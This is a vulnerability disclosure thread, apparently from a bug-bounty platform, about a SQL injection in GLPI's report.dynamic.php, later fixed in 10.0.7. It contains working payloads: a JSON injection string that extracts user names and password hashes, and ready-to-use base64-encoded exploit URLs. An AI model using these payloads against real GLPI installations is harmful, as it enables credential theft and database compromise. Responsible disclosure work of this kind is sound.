SQL Injection at /front/report.dynamic.php in glpi-project/glpi

Valid

Reported on

Feb 19th 2023


Description

A SQL Injection vulnerability allow to guest user with reports view like "Technician" to extract all data from database and some cases write a webshell on the server.

This vulnerability occurs because an insecure concatenation is taking place on this function: https://github.com/glpi-project/glpi/blob/10.0/bugfixes/src/DbUtils.php#L1922

I notice the existence of this function for several versions of GLPI, it probably affects older versions too, I tested it in the local version "GLPI 9.5.6" and I tested it against the cloud version "https://hakai.with22.glpi-network.cloud/" and both are vulnerable!

The vulnerable parameter is item_type param and this parameter receive a JSON object in base64 encoding, this JSON object contain a this structure:

{"type":"user","date1":"2022-02-19","date2":"2023-02-19","value2":0,"start":0}

The vulnerability occur on date2 variable, so we can inject SQL statement there and in this case extract username and password hash from database:

{"type":"user","date1":"2022-02-18","date2":"2023-02-18', INTERVAL 1 DAY))))) UNION SELECT 1,2,(select concat(name,'-',password) from glpi_users limit 1),4;-- -","value2":0,"start":0}

Just encode this object with base64 and send via item_type_param parameter to exploit vulnerability.

Proof of Concept

 - Access your GLPI instance
 - Access https://your-instance-url/front/report.dynamic.php?item_type=Stat&item_type_param=eyJ0eXBlIjoidXNlciIsImRhdGUxIjoiMjAyMi0wMi0xOSIsImRhdGUyIjoiMjAyMy0wMi0xOScsIElOVEVSVkFMIDEgREFZKSkpIFVOSU9OIFNFTEVDVCAxLHNsZWVwKDIwKSwzLDQ7LS0gLSIsInZhbHVlMiI6MCwic3RhcnQiOjB9&date1=2022-02-18&date2=2023-02-18&type=user&showgraph=0&itemtype=Ticket&value2=0&start=0&display_type=2&export=&_glpi_csrf_token=

Impact

An authenticated malicious attacker could exploit this vulnerability and extract data from the database, and in some cases, achieve Remote Command Execution.

We are processing your report and will contact the glpi-project/glpi team within 24 hours. 3 months ago
Carlos Vieira
3 months ago

Researcher


I just notice i sent on wrong branch, i check on main branch and also is vulnerable:

https://github.com/glpi-project/glpi/blob/main/src/DbUtils.php#L1902

We have contacted a member of the glpi-project/glpi team and are waiting to hear back 3 months ago
Cédric Anne
3 months ago

Maintainer


Hi,

I am not able to reproduce on the latest GLPI release (10.0.6). Indded, it produces the following error:

  *** MySQL query error:
  SQL: SELECT DISTINCT `glpi_users`.`id` AS `users_id`, `glpi_users`.`name` AS `name`, `glpi_users`.`realname` AS `realname`, `glpi_users`.`firstname` AS `firstname` FROM `glpi_tickets` LEFT JOIN `glpi_tickets_users` ON (`glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id` AND `glpi_tickets_users`.`type` = '1') INNER JOIN `glpi_users` ON (`glpi_tickets_users`.`users_id` = `glpi_users`.`id`) WHERE `glpi_tickets`.`is_deleted` = '0' AND (`glpi_tickets`.`entities_id` IN ('0')) AND ((((`glpi_tickets`.`date` >= '2022-02-19') AND (`glpi_tickets`.`date` <= ADDDATE('2023-02-19', INTERVAL 1 DAY))) UNION SELECT 1,sleep(20),3,4;-- -', INTERVAL 1 DAY))) OR ((`glpi_tickets`.`closedate` >= '2022-02-19') AND (`glpi_tickets`.`closedate` <= ADDDATE('2023-02-19', INTERVAL 1 DAY))) UNION SELECT 1,sleep(20),3,4;-- -', INTERVAL 1 DAY))))) ORDER BY `realname`, `firstname`, `name`
  Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1,sleep(20),3,4;-- -', INTERVAL 1 DAY))) OR ((`glpi_tickets`.`close'
Carlos Vieira
3 months ago

Researcher


i'm going install latest on my own machine, i just tested on your cloud environment and it works...

Carlos Vieira
3 months ago

Researcher


I just tested on version 10.0.6 and it worked with this payload:

https://your-instance-url/front/report.dynamic.php?item_type=Stat&item_type_param=eyJ0eXBlIjoidXNlciIsImRhdGUxIjoiMjAyMi0wMi0xOSIsImRhdGUyIjoiMjAyMy0wMi0xOScsIElOVEVSVkFMIDEgREFZKSkpKSkgVU5JT04gU0VMRUNUIDEsMiwoc2VsZWN0IGNvbmNhdChuYW1lLCctJyxwYXNzd29yZCkgZnJvbSBnbHBpX3VzZXJzIGxpbWl0IDEpLDQ7LS0gLSIsInZhbHVlMiI6MCwic3RhcnQiOjB9&date1=2022-02-18&date2=2023-02-18&type=user&showgraph=0&itemtype=Ticket&value2=0&start=0&display_type=2&export=&_glpi_csrf_token=

The difference between this payload and the other, this one closes 5 parentheses and the other just 3 parentheses.

{"type":"user","date1":"2022-02-19","date2":"2023-02-19', INTERVAL 1 DAY))))) UNION SELECT 1,2,(select concat(name,'-',password) from glpi_users limit 1),4;-- -","value2":0,"start":0}
Carlos Vieira
3 months ago

Researcher


When executing this payload, you will be able to see in the first column of the generated PDF the content of the first "username" and "password" of the database.

You can also edit the third parameter inside the injected payload and set a "sleep" or try to extract any other value from the table as PoC.

Carlos Vieira
3 months ago

Researcher


Some images of current setup and working PoC.

Version:

img1

Payload working on this version:

img2

Payload working at cloud version:

img3

Cédric Anne
3 months ago

Maintainer


I confirm the issue. Debug mode has to be deactivated to ensure SQL error are not breaking the PDF response payload.

Cédric Anne
3 months ago

Maintainer


See https://github.com/glpi-project/glpi/security/advisories/GHSA-2c7r-gf38-358f

Cédric Anne validated this vulnerability 3 months ago
Carlos Vieira has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Cédric Anne marked this as fixed in 10.0.7 with commit 3b1f59 2 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
Cédric Anne published this vulnerability 2 months ago
to join this conversation